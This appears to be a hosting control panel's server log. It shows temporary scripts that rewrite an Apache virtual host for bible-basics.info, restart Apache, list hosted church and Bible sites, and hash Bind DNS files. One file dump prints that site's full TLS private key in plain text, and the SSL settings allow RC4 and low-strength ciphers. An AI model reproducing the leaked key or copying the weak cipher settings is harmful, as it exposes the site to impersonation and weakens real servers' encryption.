chmod 755 /tmp/pkp187614; /tmp/pkp187614; rm /tmp/pkp187614
2025-10-09 11:15:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf 45
<VirtualHost *:80>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_error.log
SetEnv pkp_uid 48
SetEnv pkp_owner bible-basics
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_secure_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:15:17:
PUT: /tmp/pkp996538
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bible-basics_www_info.conf
TARGET=/etc/apache2/sites-enabled/bible-basics_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_error.log
SetEnv pkp_uid 48
SetEnv pkp_owner bible-basics
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_secure_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/bible-basics_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf= 1'
fi
2025-10-09 11:15:17:
chmod 755 /tmp/pkp996538; /tmp/pkp996538; rm /tmp/pkp996538
2025-10-09 11:15:17:
2025-10-09 11:15:17:
PUT: /tmp/pkp620846
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-09 11:15:17:
chmod 755 /tmp/pkp620846; /tmp/pkp620846; rm /tmp/pkp620846
2025-10-09 11:15:17:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:15:17: Establishing a connection
2025-10-09 11:15:17:
PUT: /tmp/pkp876821
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-09 11:15:17:
chmod 755 /tmp/pkp876821; /tmp/pkp876821; rm /tmp/pkp876821
2025-10-09 11:15:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:15:17:
PUT: /tmp/pkp502499
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/bible-basics_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:15:17:
chmod 755 /tmp/pkp502499; /tmp/pkp502499; rm /tmp/pkp502499
2025-10-09 11:15:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf 1420
<VirtualHost *:80>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_error.log
SetEnv pkp_uid 48
SetEnv pkp_owner bible-basics
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_secure_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:15:17:
PUT: /tmp/pkp596524
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:15:17:
chmod 755 /tmp/pkp596524; /tmp/pkp596524; rm /tmp/pkp596524
2025-10-09 11:15:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt 5382
be:3b:52:e7:e2:a3:d1:ba:88:9f:91:08:8a:9b:0d:2f
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBZE95ZA0u3OG8B1pNXE7CdzuMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAxNjQ1WhcNMjYwMTA3MTAxNjQ0WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANe3Evy8qqbL6HELNcwB+2DgBN0KYizFS6ECTrGbqRJnXQKsVwf8x5YvdVmj
o2wdYhqnP+KQPoD+wpESkj6tEDRx7UuLI7gz9+FJJzVt45K6fWxa1IknJ/N3SS0g
34u0t5ukytSZvqWjGHnsWPCdia15yZzvQRefENz/jRPK5s/B6FP74p6BZjNhcc++
SJPRuiK3HlyEzwLX4n8CUT8GN8JjwhPmC12IdyUs/RC3KjIb7GRmNs6gvV/BVwML
jWMqvN14CUCwQ4nFg9q+GgY0soIJ2fRD6sXD6kFZmHj7PA+djwMLtzwbSo787Ee0
OdJhIzpOOsJpa4YwI6SzE0jiLtMCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUFPxTb3Q3aLjUCE6ZfTDRRUSfks8wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFiaWJsZS1iYXNpY3MuaW5m
b4IVd3d3LmJpYmxlLWJhc2ljcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTExLmNybDCC
AQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+u
zl1wQS0lTMfUAAABmciusTIAAAQDAEYwRAIgHqz22EYeSczhwzByP1KzTYrObWTm
T/5NIOSn5mcaitoCIHct4EMsYR4kVU7VvTdrQ3x4P8VAMLwxCgh/Yiie6nGHAHYA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGZyK6xewAABAMARzBF
AiEA7jxNx6MBx0UQHsThyEHxTRVzbXftTYMgtZHmVNzSPTECIGaDQT6qrlDN0Pc2
jbeFGaBEiGIArVfOQt8cbgRJ4gjKMA0GCSqGSIb3DQEBCwUAA4IBAQB7rW+/M8Qd
875qKVIpd2qknbvalCTnEDDKJLuKgCEmbOGtrIuxchDrv6k3bXGXTPpgY7EukvxC
Eth+RHy6La2loDoXzRwf7XtrH3jwutt5dzKCtXKVkjTfY3M4aPuDEzvyrLGVC//n
FbawvAPbswRxS/M4qiHW8iFufPTzraJR3Q8mRS+EasYtApk+bMI/F+4lM7Etwxi6
2QI/jA/B8SLCcdFa7SHqns1EzWyaNxGqL+HJqdrIEIyuxKKnr5onJFJRQO3Vxl5n
FHaflV9AhDtO3e3JiV+ZOwz8qBaRoik9suAPLyr7GrSQB9osuh52CzYfMkFy3Gsx
3hf7qJLYTK3N
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDXtxL8vKqmy+hx
CzXMAftg4ATdCmIsxUuhAk6xm6kSZ10CrFcH/MeWL3VZo6NsHWIapz/ikD6A/sKR
EpI+rRA0ce1LiyO4M/fhSSc1beOSun1sWtSJJyfzd0ktIN+LtLebpMrUmb6loxh5
7FjwnYmtecmc70EXnxDc/40TyubPwehT++KegWYzYXHPvkiT0boitx5chM8C1+J/
AlE/BjfCY8IT5gtdiHclLP0QtyoyG+xkZjbOoL1fwVcDC41jKrzdeAlAsEOJxYPa
vhoGNLKCCdn0Q+rFw+pBWZh4+zwPnY8DC7c8G0qO/OxHtDnSYSM6TjrCaWuGMCOk
sxNI4i7TAgMBAAECggEAAkO5v017vSSG3Cjx96JNsUaoxmlFfpLTqG0Nxm+L5tWO
9Gg6waq1ra3x3W8KWCg2z3DSCt7YySHjiQJY5q+KbAKGKzTauyRQhdzuvHDa4r9y
caDCem4ezT+DVSXzMtRC2S9xsamrhrGfoCgLBvugZmHQ7ATW+hiBZNCJ+ps2sRej
Fp4yLM1TvtrcW7TtC6s8pQ2qLWMCJl7RdV5p+8JmMQhD0JHc8toUFYvPlcVDv8QD
cfxxisYN5eQI2auHnAXGMD3hG4CN4C/g343nQsq5o96srfiL8pN9tI25E1ZqxKTd
ODsXKisA2RHLz7R3JYzR7opLUkUr0Q6/u4fc+w5CgQKBgQD71ApYMpakLsF8iz82
8zMgtBf14SaYon1K3BOuOWblZCTwoOld0eXS/2Cpmy/zdYE8xlgrkksPXhjbuJAx
a7r05zZVvK+piWIZCmhR+U4czC4ImPrXqI3bHLW95Yd2gWlZuDZDldjntfxey0bo
Xfme+sziopYCT4+nuBMEBJ+dlQKBgQDbSeJcp6McvbOZhYHEAr86EXu5NPks7uCc
CDBdv4bIKT0DvkULC/9Q8EF8i4mgBxx3zblh2kCXs4suv+v/2qSKMEcnGDiloffc
JCOeHgWuDBEx3FFKgqEeAp7IUicUyeAqd16bXgLAloeqsefKwFLfRtzuPWj1x4hg
SQ4CRgfwxwKBgQDnwEOk1yl6/uxhSWRrlXS/6/0A8qsqXJ8hfVc/RuRCxt6X8/3P
sZLnks3KSF7glorQ+1e5AXDCO750tm08jgAH0aBXVsXyJ9R3ZvSKO/x+1AipMN/o
B95Efy9iCxGXJZFmV/jYSdbLptcSBdDDl3hZrkVPbIDQr5dsqiIV2Itr4QKBgHzm
iFfd47nrEvDOaisKpYCdlKrY0VQWezhkMagz/sDjPC11oj24h6PCNIqLr8fGRSC3
vG9PsJq3WP83sWP5VN6gwOYzlZBBwLtSmjblQrbviJutsV+PJ9XACFBw+nGMynFl
rC0yTr8C/iLrUerZwFoMMqo/sBjNnY+6DJCe8sbhAoGBAMyyY6SFMcLu/siaH0Hm
qg2/GwWRiR6P//lGzDkCZknKhxAvGsxcJig8aDLVZK91yM2UYatJYOue4aV3E9Az
Zgta88ovMSNXxqm53amiFJ91eOT69hAu6j3mdILl3ahtSKD1u9pJMfXvn0ctVVK3
3UhTRPnCjcq2q6SSkrxudVse
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-09 11:17:37: Establishing a connection
2025-10-09 11:17:45: Establishing a connection
2025-10-09 11:17:45:
PUT: /tmp/pkp921153
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-09 11:17:45:
runuser -l bind -s /bin/bash -c '/tmp/pkp921153; rm /tmp/pkp921153'
2025-10-09 11:17:45:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
